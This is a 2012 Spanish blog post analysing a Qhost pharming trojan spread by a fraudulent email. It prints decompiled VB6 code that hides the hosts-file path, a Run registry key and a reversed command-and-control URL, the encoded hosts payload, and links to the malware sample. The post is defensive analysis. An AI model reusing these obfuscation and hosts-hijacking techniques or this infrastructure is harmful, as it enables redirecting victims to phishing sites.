lunes, 4 de junio de 2012

Qhost: Analizando codificación de datos con Cryptool.


Ayer me enviaron para analizar el siguiente correo fraudulento, que descarga
un .zip que contiene un archivo .SCR






Link del malware hxxp://superteacheronline.com/extras/X/Mensaje_Multimedia(MMS).zip


Analizado en VT este ejecutable tiene un indice de 0/42










Analizando este .SCR encuentro que se trata de una utilidad para realizar instalaciones, por lo que este ejecutable en su interior contiene un .ZIP con otro ejecutable llamado FlashPlayer.exe 




Analizado el .exe con VT vemos que tiene un indice de 1/40 detecciones.




Este ejecutable esta programado en Vbasic 6, por lo que echaremos mano al Vbdecompiler.


En el código encontramos cosas como:


  loc_405C8D: LitI4 &H5C
  loc_405C92: ImpAdCallI2 Chr$(arg_1)
  loc_405C97: FStStrNoPop var_90
  loc_405C9A: ConcatStr
  loc_405C9B: FStStrNoPop var_94
  loc_405C9E: LitI4 &H73
  loc_405CA3: ImpAdCallI2 Chr$(arg_1)
  loc_405CA8: FStStrNoPop var_98
  loc_405CAB: ConcatStr
  loc_405CAC: FStStrNoPop var_9C
  loc_405CAF: LitI4 &H79
  loc_405CB4: ImpAdCallI2 Chr$(arg_1)
  loc_405CB9: FStStrNoPop var_A0
  loc_405CBC: ConcatStr
  loc_405CBD: FStStrNoPop var_A4
  loc_405CC0: LitI4 &H73
  loc_405CC5: ImpAdCallI2 Chr$(arg_1)
  loc_405CCA: FStStrNoPop var_A8
  loc_405CCD: ConcatStr
  loc_405CCE: FStStrNoPop var_AC
  loc_405CD1: LitI4 &H74
  loc_405CD6: ImpAdCallI2 Chr$(arg_1)
  loc_405CDB: FStStrNoPop var_B0
  loc_405CDE: ConcatStr
  loc_405CDF: FStStrNoPop var_B4
  loc_405CE2: LitI4 &H65
  loc_405CE7: ImpAdCallI2 Chr$(arg_1)
  loc_405CEC: FStStrNoPop var_D8
  loc_405CEF: ConcatStr
  loc_405CF0: FStStrNoPop var_DC
  loc_405CF3: LitI4 &H6D
  loc_405CF8: ImpAdCallI2 Chr$(arg_1)
  loc_405CFD: FStStrNoPop var_E0
  loc_405D00: ConcatStr
  loc_405D01: FStStrNoPop var_E4
  loc_405D04: LitI4 &H33
  loc_405D09: ImpAdCallI2 Chr$(arg_1)
  loc_405D0E: FStStrNoPop var_E8
  loc_405D11: ConcatStr
  loc_405D12: FStStrNoPop var_EC
  loc_405D15: LitI4 &H32
  loc_405D1A: ImpAdCallI2 Chr$(arg_1)
  loc_405D1F: FStStrNoPop var_F0
  loc_405D22: ConcatStr
  loc_405D23: FStStrNoPop var_F4
  loc_405D26: LitI4 &H5C
  loc_405D2B: ImpAdCallI2 Chr$(arg_1)
  loc_405D30: FStStrNoPop var_F8
  loc_405D33: ConcatStr
  loc_405D34: FStStrNoPop var_FC
  loc_405D37: LitI4 &H64
  loc_405D3C: ImpAdCallI2 Chr$(arg_1)
  loc_405D41: FStStrNoPop var_100
  loc_405D44: ConcatStr
  loc_405D45: FStStrNoPop var_104
  loc_405D48: LitI4 &H72
  loc_405D4D: ImpAdCallI2 Chr$(arg_1)
  loc_405D52: FStStrNoPop var_108
  loc_405D55: ConcatStr
  loc_405D56: FStStrNoPop var_10C
  loc_405D59: LitI4 &H69
  loc_405D5E: ImpAdCallI2 Chr$(arg_1)
  loc_405D63: FStStrNoPop var_110
  loc_405D66: ConcatStr
  loc_405D67: FStStrNoPop var_114
  loc_405D6A: LitI4 &H76
  loc_405D6F: ImpAdCallI2 Chr$(arg_1)
  loc_405D74: FStStrNoPop var_118
  loc_405D77: ConcatStr
  loc_405D78: FStStrNoPop var_11C
  loc_405D7B: LitI4 &H65
  loc_405D80: ImpAdCallI2 Chr$(arg_1)
  loc_405D85: FStStrNoPop var_120
  loc_405D88: ConcatStr
  loc_405D89: FStStrNoPop var_124
  loc_405D8C: LitI4 &H72
  loc_405D91: ImpAdCallI2 Chr$(arg_1)
  loc_405D96: FStStrNoPop var_128
  loc_405D99: ConcatStr
  loc_405D9A: FStStrNoPop var_12C
  loc_405D9D: LitI4 &H73
  loc_405DA2: ImpAdCallI2 Chr$(arg_1)
  loc_405DA7: FStStrNoPop var_130
  loc_405DAA: ConcatStr
  loc_405DAB: FStStrNoPop var_134
  loc_405DAE: LitI4 &H5C
  loc_405DB3: ImpAdCallI2 Chr$(arg_1)
  loc_405DB8: FStStrNoPop var_138
  loc_405DBB: ConcatStr
  loc_405DBC: FStStrNoPop var_13C
  loc_405DBF: LitI4 &H65
  loc_405DC4: ImpAdCallI2 Chr$(arg_1)
  loc_405DC9: FStStrNoPop var_140
  loc_405DCC: ConcatStr
  loc_405DCD: FStStrNoPop var_144
  loc_405DD0: LitI4 &H74
  loc_405DD5: ImpAdCallI2 Chr$(arg_1)
  loc_405DDA: FStStrNoPop var_148
  loc_405DDD: ConcatStr
  loc_405DDE: FStStrNoPop var_14C
  loc_405DE1: LitI4 &H63
  loc_405DE6: ImpAdCallI2 Chr$(arg_1)
  loc_405DEB: FStStrNoPop var_150
  loc_405DEE: ConcatStr
  loc_405DEF: FStStrNoPop var_154
  loc_405DF2: LitI4 &H5C
  loc_405DF7: ImpAdCallI2 Chr$(arg_1)
  loc_405DFC: FStStrNoPop var_158
  loc_405DFF: ConcatStr
  loc_405E00: FStStrNoPop var_15C
  loc_405E03: LitI4 &H68
  loc_405E08: ImpAdCallI2 Chr$(arg_1)
  loc_405E0D: FStStrNoPop var_160
  loc_405E10: ConcatStr
  loc_405E11: FStStrNoPop var_164
  loc_405E14: LitI4 &H6F
  loc_405E19: ImpAdCallI2 Chr$(arg_1)
  loc_405E1E: FStStrNoPop var_168
  loc_405E21: ConcatStr
  loc_405E22: FStStrNoPop var_16C
  loc_405E25: LitI4 &H73
  loc_405E2A: ImpAdCallI2 Chr$(arg_1)
  loc_405E2F: FStStrNoPop var_170
  loc_405E32: ConcatStr
  loc_405E33: FStStrNoPop var_174
  loc_405E36: LitI4 &H74
  loc_405E3B: ImpAdCallI2 Chr$(arg_1)
  loc_405E40: FStStrNoPop var_178
  loc_405E43: ConcatStr
  loc_405E44: FStStrNoPop var_17C
  loc_405E47: LitI4 &H73      



Si unimos todos los valores Hex nos queda

         5c73797374656d33325c647269766572735c6574635c686f737473

Pasado a Texto nos queda la cadena: \system32\drivers\etc\hosts





Otra cadena disimulada entra las variables:

  loc_406059: LitStr "H"
  loc_40606C: LitStr "K"
  loc_40607B: LitStr "E"
  loc_4060AA: LitStr "Y"
  loc_4060B9: LitStr "_"
  loc_4060D0: LitStr "L"
  loc_4060E7: LitStr "O"
  loc_40611E: LitStr "C"
  loc_406145: LitStr "A"
  loc_406164: LitStr "L"
  loc_40617B: LitStr "_"
  loc_406192: LitStr "M"
  loc_4061A9: LitStr "A"
  loc_4061C8: LitStr "C"
  loc_4061EF: LitStr "H"
  loc_406206: LitStr "I"
  loc_40622D: LitStr "N"
  loc_40625C: LitStr "E"
  loc_40628B: LitStr "\"
  loc_4062EA: LitStr "S"
  loc_406311: LitStr "O"
  loc_406348: LitStr "F"
  loc_40637E: LitStr "W"
  loc_40639D: LitStr "A"
  loc_4063BC: LitStr "R"
  loc_4063F3: LitStr "E"
  loc_406422: LitStr "\"
  loc_406481: LitStr "M"
  loc_406498: LitStr "I"
  loc_4064BF: LitStr "C"
  loc_4064E6: LitStr "R"
  loc_40651D: LitStr "O"
  loc_406554: LitStr "S"
  loc_40657B: LitStr "O"
  loc_4065B2: LitStr "F"
  loc_4065C9: LitStr "T"
  loc_4065E8: LitStr "\"
  loc_406647: LitStr "W"
  loc_406666: LitStr "I"
  loc_40668D: LitStr "N"
  loc_4066BC: LitStr "D"
  loc_4066CB: LitStr "O"
  loc_406702: LitStr "W"
  loc_406721: LitStr "S"
  loc_406748: LitStr "\"
  loc_4067A7: LitStr "C"
  loc_4067CE: LitStr "U"
  loc_4067E5: LitStr "R"
  loc_40681C: LitStr "R"
  loc_406853: LitStr "E"
  loc_406882: LitStr "N"
  loc_4068B1: LitStr "T"
  loc_4068D0: LitStr "V"
  loc_4068DF: LitStr "E"
  loc_40690E: LitStr "R"
  loc_406945: LitStr "S"
  loc_40696C: LitStr "I"
  loc_406993: LitStr "O"
  loc_4069CA: LitStr "N"
  loc_4069F9: LitStr "\"
  loc_406A58: LitStr "R"
  loc_406A8F: LitStr "U"
  loc_406AA6: LitStr "N"
  loc_406AD5: LitStr "\"
  loc_406B30: ConcatStr
  loc_406B31: FStStr var_88



LitI4 &H57
LitI4 &H73
LitI4 &H63
LitI4 &H72
LitI4 &H69
LitI4 &H70
LitI4 &H74
LitI4 &H2E
LitI4 &H73
LitI4 &H68
LitI4 &H65
LitI4 &H6C
LitI4 &H6C
LitI4 &H41
LitI4 &H70
LitI4 &H70
LitI4 &H2E
LitI4 &H45
LitI4 &H58
LitI4 &H45
LitI4 &H4E
LitI4 &H61
LitI4 &H6D
LitI4 &H65

577363726970742E7368656C6C4170702E4558454E616D65

Wscript.shellApp.EXEName



Utilización de la función StrReverse




  loc_405623: FLdRfVar var_98
  loc_405626: LitStr "exe.dnuos\metsys\"
  loc_405629: ImpAdCallI2 StrReverse

Queda como resultado del StrReverse : /system/sound.exe




Private Sub C0NF1GUR4C10N_Click() '40581C

  loc_405560: LitStr "/bmuht/ni.ecilagel//:ptth"
  loc_405563: ImpAdCallI2 StrReverse


http://legalice.in/thumb

Sitio donde toma la configuración para realizar el pharming modificando el etc/host





Con la siguiente rutina armara la URL donde buscara la configuracion:

Private Sub B0_T0_N1_Click() '4045F8
  'Data Table: 402044
  loc_4045A0: ImpAdCallFPR4 Proc_3_1_404F74()
  loc_4045A5: FLdPr Me
  loc_4045A8: MemLdStr global_80
  loc_4045AB: LitStr "_bmuht"                  <---- thumb_
  loc_4045AE: ImpAdCallI2 StrReverse
  loc_4045B3: FStStrNoPop var_88
  loc_4045B6: ConcatStr
  loc_4045B7: FStStrNoPop var_8C
  loc_4045BA: ImpAdLdI4 MemVar_408030          <---  thumb_ + MemVar_408030   
  loc_4045BD: ConcatStr
  loc_4045BE: FStStrNoPop var_90
  loc_4045C1: LitStr "gpj."                    <--- .jpg
  loc_4045C4: ImpAdCallI2 StrReverse
  loc_4045C9: FStStrNoPop var_94
  loc_4045CC: ConcatStr
  loc_4045CD: CVarStr var_A4
  loc_4045D0: PopAdLdVar
  loc_4045D1: FLdPrThis
  loc_4045D2: VCallAd M0_d0_l0
  loc_4045D5: FStAdFunc var_B8
  loc_4045D8: FLdPr var_B8
  loc_4045DB: LateIdCall
  loc_4045E3: FFreeStr var_88 = "": var_8C = "": var_90 = "" = ""
  loc_4045EE: FFree1Ad var_B8
  loc_4045F1: FFree1Var var_A4 = ""
  loc_4045F4: ExitProcHresult
End Sub


Queda: http://legalice.in/thumb/thumb_38BA2BE7.jpg

 MemVar_408030  es un valor en hexa (38BA2BE7) que va variando y no modifica la URL mostrada.



Si consultamos esta URL, en malzilla el servidor nos mostrara:


HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 813
Connection: close
Date: Mon, 04 Jun 2012 20:39:08 GMT
Server: LiteSpeed
X-Powered-By: PHP/5.3.10

*'Jvw.ypno{'/j0'8@@:48@@@'Tpjyvzvm{'Jvyw5..*..*'.z{l'lz'|u'lqltwsv'kl'hyjop}v'OVZ[Z'|zhkv'wvy'Tpjyvzvm{'[JW6PW'whyh'^pukv~z5..*..*'Lz{l'hyjop}v'jvu{plul'shz'hzpnuhjpvulz'kl'shz'kpyljjpvulz'PW'h'svz'uvtiylz'kl..*'ovz{5'Jhkh'lu{yhkh'klil'wlythuljly'lu'|uh's.ulh'pukp}pk|hs5'Sh'kpyljjp.u'PW..*'klil'wvulyzl'lu'sh'wyptlyh'jvs|tuh3'zln|pkh'kls'uvtiyl'kl'ovz{'jvyylzwvukplu{l5..*'Sh'kpyljjp.u'PW'.'ls'uvtiyl'kl'ovz{'klilu'zlwhyhyzl'jvu'hs'tluvz'|u'lzwhjpv5..*'..*..*'[htip.u'w|lklu'puzly{hyzl'jvtlu{hypvz'/jvtv'.z{l0'lu's.ulhz'pukp}pk|hslz..*'v'h'jvu{pu|hjp.u'kls'uvtiyl'kl'lx|pwv'pukpj.ukvsvz'jvu'ls'z.tivsv'*..*..*'Wvy'lqltwsvA..*..*''''''8795<;5@;5@>'''''yopuv5hjtl5jvt''''''''''*'zly}pkvy'vypnlu..*''''''':?59<5=:587'''''5hjtl5jvt''''''''''''''*'ovz{'jsplu{l'....89>575758'''''''svjhsovz{



Por lo que deduzco que todo lo que esta dentro de Iniciop y Finp es el archivo .HOST que sera guardado en la PC de la victima.


Aquí donde utilizaremos la herramienta Cryptool




Primero cargamos el texto comprendido entre Inicio y Fin


Luego

Análisis -> Cifrado Simétrico (Clasico) -> Solo Texto Cifrado -> Suma de Bytes





El análisis nos indica que la clave con suma de bytes es 27.............



Y................................................... Listo....................






Parece que el sitio de pharming todavía no fue cargado por el defraudador.



Pueden descargar la amenaza y el de-compilado .bas desde


Pass = infected

Eso es todo por el momento.


@DkAvalanche   2012







No hay comentarios:

Android: BankBot. Hace un tiempo se filtro el fuente de un Bankbo t para android y se masifico bastante, creo que muchos lo han lanzado pa...